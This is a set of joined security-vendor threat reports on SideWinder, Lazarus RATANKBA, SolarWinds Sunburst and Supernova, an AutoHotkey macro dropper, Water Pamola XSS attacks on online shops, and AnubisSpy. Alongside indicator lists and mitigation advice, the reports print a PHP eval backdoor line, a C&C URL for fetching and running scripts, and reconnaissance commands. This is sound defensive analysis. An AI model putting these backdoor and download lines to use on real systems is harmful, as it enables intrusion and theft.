1.a JS file
Trojan.JS.SIDEWINDER.A
Downloader.JS.TRX.XXJSE9EFF018
AB6E8563214EEB747ABF77F9CC50796CC6A0C0562C6BEC720D7F2C978D34C412
Fake DUser.dll
Trojan.MSIL.SIDEWINDER.A
CBD5C68F5C4345B68F018D9E5810574E8036A2BC4D826BE5C8779E8019449957
Final payload
Trojan.
Win32.SIDEWINDER.B
34446F7F60F730FCCA145155D10D1AFF0A1153B085836DF38313772CD03C8D70
RTF file
Trojan.W97M.CVE201711882.YQUOOWV
7238F4E5EDBE0E5A2242D8780FB58C47E7D32BF2C4F860C88C511C30675D0857
RTF file
Trojan.W97M.SIDEWINDER.A
AB7C1967BF1FEFDFFDE93626B78EB30994655AB02F59E0ADB0935E3E599A953F
RTF file
Trojan.W97M.SIDEWINDER.A
2548A819E4C597BA5958D2D18BAA544452948E5B00271570192CCD79ABE88E8D
1.a JS file
Trojan.JS.SIDEWINDER.A
Downloader.JS.TRX.XXJSE9EFF018
ED5E1D6E914DE64A203F2F32AB95176FC7EFFF3A520915971D5FE748E79D611C
1.a JS file
Trojan.JS.SIDEWINDER.A
Downloader.JS.TRX.XXJSE9EFF018
96BF8F579ACB8D9D0FF116D05FDADEF85953F11E5B2E703041FDAE0ABF5B75DC
1.a JS file
Trojan.JS.SIDEWINDER.A
Downloader.JS.TRX.XXJSE9EFF018
940265867D5668956D64ADF9FC4B9C6CF9E7FCFCF5C21BA7BF0BEA77B5EDD047
Fake DUser.dll
Trojan.MSIL.SIDEWINDER.A
B22946CFEFE8646CB034F358C68CAAE5F30C1CF316CFFEAF77021C099E362C64
Fake DUser.dll
Trojan.MSIL.SIDEWINDER.A
89E392FA49C6A6AEB9056E3D2F38B07D0DD7AF230CD22E3B01C71F05A3AECA0B
Fake DUser.dll
Trojan.MSIL.SIDEWINDER.A
EB2D82DD0799196FCF631E15305676D737DC6E40FF588DCF123EDACD023F1C46
Final payload
Trojan.
Win32.SIDEWINDER.B
7ECAEFCB46CDDEF1AE201B1042A62DD093594C179A6913A2DE47AB98148545DD
Final payload
Trojan.
Win32.SIDEWINDER.B
799260B992C77E2E14F2D586665C570142D8425864455CAB5F2575015CD0B87A
Final payload
Trojan.
Win32.SIDEWINDER.B
brep.cdn-edu[.
]net
RTF delivery server
www.mfa.filesrvr[.
]net
RTF delivery server
www.google.gov-pok[.
]net
RTF delivery server
ap-ms[.
]net
C&C
cdn-sop[.
]net
C&C
fqn-cloud[.
]net
C&C
ms-trace[.
]net
C&C
imail.aop.gov-af[.
]org
Phishing Domain
mail-apfgavnp.hopto[.
]org
Phishing Domain
mail-apfgovnp.ddns[.
]net
Phishing Domain
mail-kmgcom.ddns[.
]net
Phishing Domain
mail-mfagovcn.hopto[.
]org
Phishing Domain
mail-mofagovnp.hopto[.
]org
Phishing Domain
mail-ncporgnp.hopto[.
]org
Phishing Domain
mail-nepalarmymilnp.duckdns[.
]org
Phishing Domain
mail-nepalgovnp.duckdns[.
]org
Phishing Domain
mail-nepalpolicegov.hopto[.
]org
Phishing Domain
mail-nepalpolicegovnp.duckdns[.
]org
Phishing Domain
mail-nrborg.hopto[.
]org
Phishing Domain
mail-nscaf.myftp[.
]org
Phishing Domain
mail-ntcnetnp.serveftp[.
]com
Phishing Domain
mail.arg.gov-af[.
]org
Phishing Domain
mail.moha.gov-np[.
]org
Phishing Domain
mail.nsc.gov-af[.
]org
Phishing Domain
webmail.mohe.gov-af[.
]org
Phishing Domain
Tags
Endpoints
|
APT & Targeted Attacks
|
Research
|
Mobile
|
Articles, News, Reports
Updated the detection names on January 25, 2018, 9:47 PM PDT
Few cybercrime groups have gained as much notoriety—both for their actions and for their mystique—as the Lazarus group.
Since they first emerged back in 2007 with a series of cyberespionage attacks against the South Korean government, these threat actors have successfully managed to pull off some of the most notable and devastating targeted attacks—such as the widely-reported 2014 Sony hack and the 2016 attack on a Bangladeshi bank—in recent history.
Throughout the Lazarus group's operational history, few threat actors have managed to match the group in terms of both scale and impact, due in large part to the wide variety of tools and tactics at the group’s disposal.
The malware known as RATANKBA is just one of the weapons in Lazarus’ arsenal.
This malicious software, which could have been active since late 2016, was used in a recent campaign targeting financial institutions using watering hole attacks.
The variant used during these attacks (TROJ_RATANKBA.A) delivered multiple payloads that include hacking tools and software targeting banking systems.
We analyzed a new RATANKBA variant (BKDR_RATANKBA.ZAEL-A), discovered in June 2017, that uses a PowerShell script instead of its more traditional PE executable form—a version that other researchers also recently identified.
We identified a number of servers Lazarus used as a backend system for temporarily holding stolen data.
We were able to access this backend, which provided us with valuable information about this attack and its victims.
Around 55% of the victims of RATANKBA’s Powershell version were located in India and neighboring countries.
This implies that the Lazarus group could be is either collecting intelligence about targets in this region, or is at an early stage of planning.
They could have also been performing exercises in preparation for an attack against similar targets.
The majority of the observed victims were not using enterprise versions of Microsoft software.
Less than 5% of the victims were Microsoft Windows Enterprise users, which means that currently, RATANKBA mostly affects smaller organizations or individual users, not larger organizations.
It's possible that Lazarus is using tools other than RATANKBA to target larger organizations.
Lazarus’ backend logs also record victim IP addresses.
Based on a reverse WHOIS lookup, none of the victims can be associated with a large bank or a financial institution.
However, we did manage to identify victims that are likely employees of three web software development companies in India and one in South Korea.
Infection Flow
Figure 1.
RATANKBA Infection Flow
RATANKBA is delivered to its victims using a variety of lure documents, including Microsoft Office documents, malicious CHM files, and different script downloaders.
These documents contain topics discussing either software development or digital currencies.
The growth of cryptocurrencies may be a driving force behind the use of cryptocurrency-related lures.
An example of a lure used in a RATANKBA attack can be seen below:
Figure 2.
Malicious CHM file used as RATANKBA lure
Once the lure’s recipient opens and executes the file, a backdoor will be dropped into the victim’s system.
This RATANKBA backdoor is what is used to communicate with RATANKBA’s Command-and-Control (C&C) server.
We have observed two initial conversations with the C&C server (all are done via HTTP GET or POST to the server):
HTTP POST to {script}.jsp?action=BaseInfo&u=XXX: Sends the victim information to the backend server
HTTP GET to {script}.jsp?action=What&u=XXX: Checks if there are any pending jobs for the backdoor
This means that the backdoor is responsible for both uploading victim information, as well as executing any tasks that the controller has assigned to it, which includes the following:
Killkill: Stops the backdoor’s activities
interval: Changes the interval in which the backdoor retrieves jobs; the default interval is set at 120 seconds
cmd: Executes shell commands
exe:Reflectively injects a DLL downloaded from a specific URL
In addition to the backdoor’s modus operandi, the attackers will use a Microsoft WMI command-line tool to list the compromised system’s running processes, which are sent to the C&C server:
“C:\Windows\system32\cmd.exe” /c “wmic process get processid,commandline,sessionid | findstr SysWOW”
“C:\Windows\system32\cmd.exe” /c “wmic process get processid,commandline,sessionid | findstr x86”
Technical Analysis
During our analysis, we collected a copy of the RATANKBA malware’s Lazarus Remote Controller tool.
The remote controller provides a user interface that allows attackers to send jobs to any compromised endpoint.
The controller gives the attackers the ability to manipulate the victims’ host by queueing tasks on the main server.
RATANKBA retrieves and executes the tasks, and retrieves the collected information.
Figure 3.
RATANKBA communication diagram
The RATANKBA malware has a control model that does not use real-time communication between the backdoor and the attacker.
Instead, both the remote controller and the backdoor connect to its main communication control server to push or pull pieces of information.
The controller uses a graphical UI interface and can be used to push code to the server, while the backdoor regularly connects to the server to check for pending tasks.
The controller downloads the victim profiles from the server.
If the profiles are already downloaded by the controller, they are deleted from the server side.
The controller can post victim-specific tasks as well as global specific tasks to the server.
Below are the various functionalities of RATANKBA’s controller:
Command Name
Function
get_time
Retrieves the server time
delete_inf
Deletes the downloaded victim profiles
delete_con
Deletes the connection log files if they were already downloaded
Kill:
Posts a job to kill the backdoor
inject
Posts a job for DLL injection
Interval
Changes the sleep interval
Cmd
Posts a job for command shell execution
delete_cmd
Retrieves the job results and deletes the posted job
broadcast_cmd:
Posts a job for all the backdoors connecting to the server
Figure 4.
RATANKBA main console interface
Figure 5.
RATANKBA host manipulation console
RATANKBA’s controllers use the “Nimo Software HTTP Retriever 1.0” user-agent string for its communication.
The communication protocol format for the controller and backdoor is as follows:
· <domain>/<jsp filename>.jsp?action=<corresponding actions plus additional needed parameters>`
One of most notable changes on the new RATANKBA variant is that the new version was written in Powershell, whereas the original variant was in PE form.
The shift from PE to Powershell makes it more difficult for antivirus solutions to detect.
The screenshot below shows the conversion from C/C++ code to Powershell, while the protocol remained unchanged.
Figure 6.
C/C++ version of RATANKBA
Figure 7.
Powershell version of RATANKBA
Profile of the Attackers
While we do not have any knowledge of who the actual Lazarus attackers are, the data collected from the backend systems gives us some insights into the internet usage patterns of systems likely owned by Lazarus group members.
Clues regarding the profiles of the attackers was also found, including those connected to developers and at least one operator.
All of them appear to be native Korean speakers, or at least have Korean language proficiency that is at the near-native level.
We believe at least one of them also understands Chinese.
We also observed clues that the attackers are interested in cryptocurrencies such as Bitcoin (BTC) and Ant Share (NEO).
One of them transferred shares of NEO at a good market price.
Figure 8.
Empty cryptocurrency wallet of the attacker
Figure 9.
An attacker transfers 594 NEO to another wallet, with the money going to a mixer
Figure 10.
An attacker mining Ant Share
Defending against RATANKBA
Given Lazarus’ use of a wide array of tools and techniques in their operations, it’s reasonable to assume that the group will continue to use ever-evolving tactics in their malicious activities.
Overall, an organization will need multilayered security strategies, as Lazarus and other similar groups are experienced cybercriminals who employ different strategies to get past organizational defenses.
The impact of this malware can be mitigated with proven mitigation techniques such as routinely scanning the network for any malicious activity to help prevent the malware from entering and spreading through an organization.
In addition, educating employees and other key people in an organization on social engineering techniques can allow them to identify what to look out for when it comes to malicious attacks.
Other mitigation strategies include a multilayered approach to securing the organization’s perimeter, which includes hardening the endpoints and employing application control to help prevent malicious applications and processes from being executed.
Trend Micro™ Deep Security™ provides virtual patching that protects endpoints from threats such as malicious redirections to malware-hosting URLs as well as those that exploit unpatched vulnerabilities.
Trend Micro™ Deep Discovery™ provides detection, in-depth analysis, and proactive response to attacks using exploits and other similar threats through specialized engines, custom sandboxing, and seamless correlation across the entire attack lifecycle, allowing it to detect these attacks even without any engine or pattern update.
A detailed timeline of the Lazarus group's operations can be seen here.
Indicators of Compromise (IoCs):
Hashes detected as BKDR_RATANKBA.ZAEL-A
1768f2e9cea5f8c97007c6f822531c1c9043c151187c54ebfb289980ff63d666
6cac0be2120be7b3592fe4e1f7c86f4abc7b168d058e07dc8975bf1eafd7cb25
d844777dcafcde8622b9472b6cd442c50c3747579868a53a505ef2f5a4f0e26a
db8163d054a35522d0dec35743cfd2c9872e0eb446467b573a79f84d61761471
f7f2dd674532056c0d67ef1fb7c8ae8dd0484768604b551ee9b6c4405008fe6b
Hashes detected as CHM_DLOADER.ZCEL-A
01b047e0f3b49f8ab6ebf6795bc72ba7f63d7acbc68f65f1f8f66e34de827e49
030b4525558f2c411f972d91b144870b388380b59372e1798926cc2958242863
10cbb5d0974af08b5d4aa9c753e274a81348da9f8bfcaa5193fad08b79650cda
650d7b814922b58b6580041cb0aa9d27dae7e94e6d899bbb3b4aa5f1047fca0f
6cb1e9850dd853880bbaf68ea23243bac9c430df576fa1e679d7f26d56785984
6d4415a2cbedc960c7c7055626c61842b3a3ca4718e2ac0e3d2ac0c7ef41b84d
772b9b873100375c9696d87724f8efa2c8c1484853d40b52c6dc6f7759f5db01
9d10911a7bbf26f58b5e39342540761885422b878617f864bfdb16195b7cd0f5
d5f9a81df5061c69be9c0ed55fba7d796e1a8ebab7c609ae437c574bd7b30b48
Hashes detected as JS_DLOADER.ZBEL-A
8ff100ca86cb62117f1290e71d5f9c0519661d6c955d9fcfb71f0bbdf75b51b3
Hashes detected as X97M_DLOADR.ZBEL-A
972b598d709b66b35900dc21c5225e5f0d474f241fefa890b381089afd7d44ee
Hashes detected as VBS_DLOADR.ZAEL-A
4722138dda262a2dca5cbf9acd40f150759c006f56b7637769282dba54de0cab
Tags
Malware
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APT & Targeted Attacks
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Endpoints
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Cyber Crime
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Research
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Network
Update on 12/29/2020 2:40 PM PST: Information on Supernova added
Update on 1/22/2021 4:56 PM PST: Trend Micro's Zero-Day Initiative (ZDI) provided technical analysis of recently patched vulnerabilities in the SolarWinds Orion Platform.
CVE-2020-14005, one of these vulnerabilities, has been linked to the recent SUNBURST cyberattack on SolarWinds.
These vulnerabilities, when combined, could allow an unauthenticated attacker to execute arbitrary code as Administrator on an affected system.
Various sources have recently disclosed a sophisticated attack that hit organizations via the supply chain.
This was carried out via a compromised version of a network monitoring application called SolarWinds Orion.
The attackers used the access provided by this application to plant a backdoor known as Sunburst onto affected machines.
This backdoor provided the attacker with complete access to the targeted organization’s network.
What is Sunburst?
Sunburst is a sophisticated backdoor that provides an attacker nearly complete control over an affected system.
It has several peculiarities in its behavior, however.
Before it runs, it checks that the process name hash and a registry key have been set to specific values.
It will also only run if the execution time is twelve or more days after the system was first infected; it will also only run on systems that have been attached to a domain.
This specific set of circumstances makes analysis by researchers more difficult, but it also limits the scope of its victims to some degree.
It connects back to its command-and-control server via various domains, which take the following format:
{random strings}.appsync-api.
{subdomain}.avsvmcloud.com
The subdomain is one of the following strings:
eu-west-1
eu-west-2
us-east-1
us-east-2
Once in a system, it can both gather information about the affected system and execute various commands.
The gathered information includes:
Domain name
Network interfaces
Running processes/services
Installed drivers
This gathered information is used either to generate a user ID for the affected machine, or to check against blocklists - if certain drivers, processes, or services are found on the machine, the backdoor will cease to function.
The commands that can be executed include:
Registry operations (read, write, and delete registry keys/entries)
File operations (read, write, and delete files)
Run/stop processes
Reboot the system
What is Supernova?
Supernova, one of the malicious components associated with the attack, is a .NET web shell backdoor that presents itself as a legitimate SolarWinds web service handler.
It is a second-stage payload in the attack.
Once running, it inspects and responds to HTTP requests with appropriate HTTP query strings, cookies, and HTML form values.
It can also execute web shell commands via a specific HTTP request format.
Who is affected?
It is believed that Sunburst was delivered via a trojanized version of the Orion network monitoring application.
According to SEC filings by SolarWinds, threat actors inserted the malicious code into otherwise legitimate code, which means anyone who downloaded the software was potentially at risk.
This was done as part of the build process; the source code repository was not affected.
According to the SolarWinds SEC filing, this trojanized version was downloaded by under 18,000 customers from March to June of 2020.
Once this malicious code is present in a system, it runs the behavior described in the first part of this post.
Multiple organizations, including US government agencies, have reported that they were affected by this campaign.
Solutions
In a security advisory, SolarWinds advised all of their affected customers to immediately update their software to versions that do not contain the malicious code.
The advisory also lists the appropriate products and their versions.
Our article titled Managing Risk While Your ITSM Is Down includes suggestions on how to manage network monitoring and other IT systems management (ITSM) solutions.
In addition to this, the US Department of Homeland Security, in a directive to US government agencies, ordered that systems with the said software be taken offline and not reconnected to networks until they have been rebuilt.
The directive treats agencies to treat said machines as compromised, with credentials used by said machines to be changed as well.
Organizations that use SolarWinds Orion within their network may consider similar steps.
The malicious files associated with this attack are already detected by the appropriate Trend Micro products as Backdoor.MSIL.SUNBURST.A and Trojan.MSIL.SUPERNOVA.A.
In addition to this, the entirety of the domain avsvmcloud.com has been blocked.
If you believe that your organization may have been affected by this campaign, visit this page for the available Trend Micro solutions that can help detect and mitigate any risks from this campaign.
If you’re a Trend Micro Apex One customer, check your product console for a notification to scan your environment for attack indicators of this campaign.
Indicators of Compromise
The following hashes are associated with this campaign and are detected by Trend Micro products:
SHA256
SHA1
Trend Micro Detection
019085a76ba7126fff22770d71bd901c325fc68ac55aa743327984e89f4b0134
2f1a5a7411d015d01aaee4535835400191645023
Backdoor.MSIL.SUNBURST.A
c15abaf51e78ca56c0376522d699c978217bf041a3bd3c71d09193efa5717c71
75af292f34789a1c782ea36c7127bf6106f595e8
Trojan.MSIL.SUPERNOVA.A
ce77d116a074dab7a22a0fd4f2c1ab475f16eec42e1ded3c0b0aa8211fe858d6
d130bd75645c2433f88ac03e73395fba172ef676
Backdoor.MSIL.SUNBURST.A
32519b85c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77
76640508b1e7759e548771a5359eaed353bf1eec
Backdoor.MSIL.SUNBURST.A
d0d626deb3f9484e649294a8dfa814c5568f846d5aa02d4cdad5d041a29d5600
1b476f58ca366b54f34d714ffce3fd73cc30db1a
Backdoor.MSIL.SUNBURST.A
The following domain names are associated with this campaign and are also blocked:
avsvmcloud[.
]com
databasegalore[.
]com
deftsecurity[.
]com
highdatabase[.
]com
incomeupdate[.
]com
panhardware[.
]com
thedoccloud[.
]com
zupertech[.
]com
Tags
APT & Targeted Attacks
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Research
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Articles, News, Reports
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Cyber Threats
We discovered a potential targeted attack that makes use of legitimate script engine AutoHotkey, in combination with malicious script files.
This file is distributed as an email attachment and disguised as a legitimate document with the filename “Military Financing.xlsm.” The user would need to enable macro for it to open fully, which would use AutoHotkey in loading the malicious script file to avoid detection.
It will then enable the threat actors to steal certain information and even download TeamViewer to gain remote access to the system.
If the user enables macro to open the xlsm file, it will then drop the legitimate script engine AutoHotkey along with a malicious script file.
Once the AutoHotkey loads the malicious script file, it connects to its C&C server to download and execute additional script files in response to commands from the server.
In our observation, it lastly downloaded and executed TeamViewer to gain remote control over the system.
However, it can download and execute other script files depending on the command it receives from the C&C server.
Figure 1.
Attack chain starting with the arrival of the email with the malicious attachment
The Excel File
The attached excel file is titled “Foreign Military Financing (FMF),” named after a program of the U.S. Defense Security Cooperation Agency.
This cover was likely used to further push users to enable content so that they can access confidential information.
Figure 2.
Content of the Excel file
At first glance, the excel file seems to only have one filled sheet.
However, as can be seen in figure 2, it has another sheet inconspicuously named with a “ ” or a blank space.
Figure 3.
HEX strings in the second sheet originally “hidden” using white font
Once the user enables macro for this file, it drops two files through the HEX strings written as binary text in two columns of the blank space sheet.
These HEX strings are originally written in white font, to make it appear as if the columns were blank.
These dropped files are:
Content of column X: 「C:\ProgramData\AutoHotkeyU32.exe」(legitimate AutoHotkey executable file)
Content of column Y: 「C:\ProgramData\AutoHotkeyU32.ahk」(malicious script for AutoHotkey created by the attacker)
The malicious string and abuse of AutoHotkey
Depending on the script files, the AutoHotkey application can assign a hotkey or execute any process written in the script file.
In this case, the script file AutoHotkeyU32.ahk does not assign a hotkey but it does execute the following commands:
Create a link file in the startup folder for AutoHotkeyU32.exe, allowing the attack to persist even after a system restart.
Connect to the C&C server every 10 seconds to download, save, and execute script files containing the commands.
Send the volume serial number of the C drive, which allows the attacker to identify the victim.
Figure 4.
A partial code snippet of AutoHotkeyu32.ahk
Figure 5.
A sample C&C response
When the attacker sends a response similar to that shown in the figure 5 sample via the C&C, the script file converts the HEX strings into plain text, which translates to the URL “001::hxxp://185.70.186.145/7773/plug/hscreen.ahk.” Then it downloads the ahk file (hscreen.ahk) from this URL, saves the file in “%temp%” folder using a random filename, and finally executes it by loading it through AutoHotkeyU32.exe.
The URL was no longer available at the time of writing.
Further research uncovered other dropped files involved in this attack.
These files allow the attackers to get the computer name and take screen captures.
More importantly, one of these files also enables the download of TeamViewer, a remote access tool that gives threat actors remote control over the system.
We have yet to conclude this attack's exact purpose.
For now, we can surmise that it has the makings of a potential targeted attack because of its cyber espionage capabilities, as well as the potential for delivering ransomware and coinminer.
Security recommendations
As we continue to monitor this attack users can re-asses their security measures against similar cases.
Against most attacks, users should implement a multilayer defense and have mitigation protocols in place to detect and address intrusions.
Users should also take full advantage of their network defense solutions by enhancing settings, especially for macro malware attached emails.
Such attacks highlight the need for caution before downloading files from unknown sources and enabling macro for files from unknown sources.
Microsoft provides several security notifications about enabling content.
Other best practices:
Consistently check the sender, title, and body for any suspicious details before downloading and opening an attached file.
Always check the extension of any attached file to see if it is consistent with the received email.
Before enabling content to open a file, check for red flags such as content that urges the user to enable macro, or content that appears blank.
Indicators of Compromise (IoCs)
SHA256
Filename
Detection name
Description
EFE51C2453821310C7A34DCA3054021D0F6D453B7133C381D75E3140901EFD12
Military Financing.xlsm
W2KM_HTV.ZKGD-A
Carries the malicious script and AutoHotkeyU32.ahk
43FBDA74A65668333727C6512562DB4F9E712CF1D5AD9DCA8F06AE51BB937BA2
hscreen.ahk
TSPY_HTV.ZJGD-A
Takes screen captures
ACB3181D0408C908B2A434FC004BF24FB766D4CF68BF2978BC5653022F9F20BE
AutoHotkeyU32.ahk
BKDR_HTV.ZKGD-A
Loads the malicious script
BE6C6B0942AD441953B0ED0C4327B9DED8A94E836EACA070ACA3988BADB31858
hinfo.ahk
TSPY_HTV.ZLGD-A
Gets the computer name
F64792324839F660B9BDFDA95501A568C076641CF08CE63C1DDBE29B45623AC0
htv.ahk
TROJ_HTV.ZJGD-A
Downloads and executes TeamViewer
C&C
185[.]70[.]186[.
]145
Tags
APT & Targeted Attacks
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Endpoints
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Research
Since 2019, we have been tracking a threat campaign we dubbed as “Water Pamola.” The campaign initially compromised e-commerce online shops in Japan, Australia, and European countries via spam emails with malicious attachments.
However, since early 2020, we’ve noticed some changes to Water Pamola’s activity.
Victims are now mainly located only in Japan.
Recent telemetry data indicates that the attacks are not being launched via spam anymore.
Instead, malicious scripts are being executed when the administrators look into customer orders in their online shop’s administration panel.
Figure 1.
The Water Pamola attack chain
After further searching, we noticed that an online store administrator asked about a strange online order that contains JavaScript code inserted into the field where the customer’s address or company name would normally be located.
This script is likely activated by exploiting a cross-site scripting (XSS) vulnerability in the said store’s administration portal.
Figure 2.
The question asked on a forum showing the payload related to Water Pamola.
The above is a screenshot of the text in a forum, which is translated by Google Translate as Problem, there is an order that seems to be a mischievous order.
The following characters are included in the address and company name.
The script connects to the Water Pamola’s server and downloads additional payloads.
Taken together, this led us to believe that Water Pamola places orders with this embedded XSS script across many targeted online shops.
If they are vulnerable to this XSS attack, these will be loaded when the victim (i.e., an administrator at the targeted merchant) opens the order within their management panel.
We have collected many attack scripts they delivered to different targets.
The malicious behavior performed by the scripts includes page grabbing, credential phishing, web shell infection, and malware delivery.
This campaign appears to be financially motivated.
In at least one instance, a site that Water Pamola attacked later disclosed that they had suffered a data breach.
Their server was illegally accessed and personal information, which included names, credit card numbers, card expiration dates, and credit card security codes, were potentially leaked.
This breach might be associated with Water Pamola, and it hints that this campaign’s overall goal is to steal the credit card data (similar to Magecart campaigns).
Analysis of the XSS attack
As previously mentioned, Water Pamola sent online shopping orders appended with a malicious XSS script to attack e-commerce administrators.
It’s worth mentioning that they are not targeting a specific e-commerce framework, but e-commerce systems in general.
If the store’s e-commerce system is vulnerable to XSS attacks, the malicious script will be loaded and executed on the merchant’s management panel once someone (like a system administrator or store employee) opens the said order.
These scripts were managed with an XSS attack framework called “XSS.ME,” which helps attackers deal with their attack scripts and the stolen information.
The source code of this framework is shared across many Chinese public forums.
The basic attack script provided by the framework could report the victim’s location and browser cookies.
We observed that the scripts used during the attacks were customized.
The attackers delivered a variety of different XSS scripts, which could include one or more of the following behaviors:
Page Grabber
The script sends an HTTP GET request to a specified URL address and forwards the received response to Water Pamola’s server.
This is usually used during an early stage of the attack to grab content from the victim’s management page.
Doing so allows the threat actor to understand the environment and design attack scripts appropriate to the victim’s environment.
Figure 3.
The script for grabbing page content and sending it back to the attacker
Credential Phishing
Some of the delivered scripts revealed that the campaign was trying to obtain administrator credentials for e-commerce websites using two different approaches.
The first way involves appending a fake login form to the page.
The script hooks the mouse click event.
If the victim enters the credential in the fake form and clicks anywhere on the page, the script will take the credentials, encode them using base64, replace some characters with custom substrings, and then upload these to Water Pamola’s server.
Figure 4.
The script to create and delete fake login form for credential phishing
The other approach involves showing an authorization error message and then redirecting the user to a phishing website that asks users to enter their credentials.
The subdomains of their phishing sites were configured to match the names of the targets’ domain, such as “{victim’s domain}[.]basic-authentication[.
]live”.
Figure 5.
The script replaces the page content with an authorization error message and redirects users to the phishing website
Webshell/PHP backdoor injection
Some of the delivered malicious scripts attempt to install backdoors to the websites built with the EC-CUBE framework, which is popular in Japan.
The attack we found only works on Series 2 of EC-CUBE; the current version is Series 4, with Series 2 now under extended support.
There are three different approaches used to upload the backdoor.
The first method is uploading a PHP web shell file by calling the native API provided by the framework.
The name of the web shell file is hardcoded to be either “ec_ver.php,” “log3.php,” or “temp.php.” The web shell can execute any PHP code sent by an HTTP POST request to the web shell.
Note the screenshot in Figure 6: The same web shell with the same “only_pcd” keyword is mentioned in this Chinese blog post.
The blog post describes a web shell with two components — a PHP script and an HTML uploading file — however,  the second one is not needed as the proper POST request can be created with any custom or third-party tool (e.g., Fiddler).
Figure 6.
The script for uploading the PHP web shell to an e-commerce website
The second method is modifying the page header to inject PHP code, which will then execute any PHP code, sent by the parameter “ec_ver2update” in the HTTP request.
Note that the PHP code below is obfuscated.
First, the $IDFX variable uses XOR operation (see character ^) to decode the string “create_function”, then the resulting base64 string is decoded to @eval($_REQUEST['ec_ver2update']); which is the backdoor’s code.
Figure 7.
The script for modifying the shop page header to inject a web shell
The third method is installing a malicious plugin embedded in a file named “MakePlugin.tar.gz” to the e-commerce framework.
The plugin has been designed to drop multiple PHP web shell files on the server.
Figure 8.
The script for uploading and installing the malicious plugin, “MakePlugin.tar.gz”
Figure 9.
The malicious plugin installs several files with web shells
Malware Delivery
In this case, the attack script will show an alert prompt with a message that reads “Your Flash version is too low, please install the latest version and try again!” and then redirects the victim to the fake Flash installer download website they control.
(Note that Flash has been declared end-of-life by Adobe since December 31, 2020.)
If the victim downloads and executes the installer downloaded from this page, the victim will be infected with a variant of Gh0stRat malware, previously also named Gh0stCringe or CineregRAT.
This RAT’s code is based on leaked Gh0st RAT source code; however, its traffic encryption is customized and it added some new features, like QQ number theft.
The Gh0st RAT samples related to this campaign are obfuscated executable files, which decrypt the main payload in memory and execute its main export function named “Shellex.”
Figure 10.
The script showing the error message and redirect to the fake Flash installer
Figure 11.
The fake Flash installer download website
Analysis of the fake Flash installer
As described earlier, the XSS attack script redirects the victim to a fake Flash download site.
Clicking on the “Install now” button downloads a .ZIP archive, which contains several legitimate files as well as a few malicious ones, which are usually in form of DLL libraries.
These libraries will be sideloaded when the legitimate executable gets executed.
Figure 12.
The package of downloaded Flash installer
In this example, AdobeAirFlashInstaller.exe (legitimate file) sideloads xerces-c_2_1_0.dll (patched legitimate file), which then sideloads ulibs.dll (malicious file).
Ulibs.dll loads Adob.dll, which is a ZIP archive.
After extracting the content of the Adob.dll zip archive, two legitimate and signed executable files are present and executed, and a similar sideloading process happens once more.
Figure 13.
The package inside Adob.dll
Here, svchost.exe (renamed legitimate and signed Launcher.exe file from Tencent) sideloads Utility.dll (patched legitimate file).
This patched file contains one new section called .newimp (new import), which adds a new import item with a reference to the oplib.dll library.
This oplib.dll library is then sideloaded.
Figure 14.
Oplib.dll side-loading
This new import was very likely added manually by using a utility called Stud_PE.
This utility has a feature called “Import Adder,” while “.newimp” is the default name of a newly added section containing newly added imports.
Oplib.dll then loads a lib.DAT file from the windowsfiles directory, decodes and decrypts its contents (from a hexadecimal string; XOR 0x42), and loads it into the newly created svchost.exe process.
In addition, persistence via registry keys and Scheduled Tasks are configured.
Figure 15.
XOR routine and svchost injection
At the end, the last payload of this infection chain is a variant of a Gh0st RAT.
Communication with C&C uses sockets and is encrypted with simple SUB 0x46, XOR 0x19 encryption.
Figure 16.
XOR routine that encrypts C&C communication
Figure 17.
A packetFlag “xy” was found inside this Gh0st RAT variant
This Gh0st RAT variant implements additional features for stealing QQ messenger user information, for example, a list of users on a given machine and their QQ messenger numbers.
The code below obtains QQ numbers that are currently logged on the machine, mentioned here.
Figure 18.
The code used to obtain user QQ numbers
Protecting e-commerce platforms from Water Pamola’s attacks
Water Pamola attacked online merchants with an XSS script appended onto online shopping orders.
They also perpetrated social engineering attacks to phish credentials or prompt the download of a remote access tool.
Online shop administrators should be aware that potential attacks may come not only from spam but also from different — and unexpected — infection vectors.
We also recommend that administrators keep the versions of any e-commerce platforms in use by their websites up to date to prevent any potential vulnerabilities, including XSS attacks.
Organizations can benefit from having Trend Micro™ endpoint solutions such as Trend Micro Smart Protection Suites and Worry-Free™ Business Security.
These can protect users and businesses from threats by detecting malicious files and spammed messages as well as blocking all related malicious URLs.
Indicators of compromise can be found in this appendix.
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Android malware like ransomware exemplify how the platform can be lucrative for cybercriminals.
But there are also other threats stirring up as of late: attacks that spy on and steal data from specific targets, crossing over between desktops and mobile devices.
Take for instance several malicious apps we came across with cyberespionage capabilities, which were targeting Arabic-speaking users or Middle Eastern countries.
These were published on Google Play — but have since been taken down — and third-party app marketplaces.
We named these malicious apps AnubisSpy (ANDROIDOS_ANUBISSPY) as all the malware’s payload is a package called watchdog.
We construe AnubisSpy to be linked to the cyberespionage campaign Sphinx (APT-C-15) based on shared file structures and command-and-control (C&C) server as well as targets.
It’s also possible that while AnubisSpy’s operators may also be Sphinx’s, they could be running separate but similar campaigns.
What can AnubisSpy do?
AnubisSpy can steal messages (SMS), photos, videos, contacts, email accounts, calendar events, and browser histories (i.e., Chrome and Samsung Internet Browser).
It can also take screenshots and record audio, including calls.
It can spy on the victim through apps installed on the device, a list of which is in its configuration file that can be updated.
This includes Skype, WhatsApp, Facebook, and Twitter, among others.
After the data are collected, they are encrypted and sent to the (C&C) server.
AnubisSpy can also self-destruct to cover its tracks.
It can run commands and delete files on the device, as well as install and uninstall Android Application Packages (APKs).
AnubisSpy has several modules, each of which has a separate role.
AnubisSpy’s code is well constructed, indicating the developer/s’ know-how.
Below is a visualization of the modules:
Figure 1: Structure of AnubisSpy’s modules
How is AnubisSpy related to Sphinx?
Sphinx reportedly uses the watering hole technique via social media sites to deliver its payloads — mainly a customized version of njRAT.
The Sphinx campaign operators cloaked the malware with icons of legitimate applications to dupe recipients into clicking them.
Sphinx was active between June 2014 and November 2015, but timestamps of the malware indicate the attacks started as early as 2011.
A simple WHOIS query of AnubisSpy’s C&C server showed it abused a legitimate managed hosting service provider in Belize.
We correlated the AnubisSpy variants to Sphinx’s desktop/PC-targeting malware through the following:
Shared C&C server, 86[.]105[.]18[.
]107
Shared technique of decrypting JSON files, and similarity between the file structures of AnubisSpy and Sphinx’s malware
Similar targets (highly concentrated in Middle Eastern countries)
Figure 2: Comparison of file structure in Sphinx’s desktop/PC-targeting malware (left) and AnubisSpy (right)
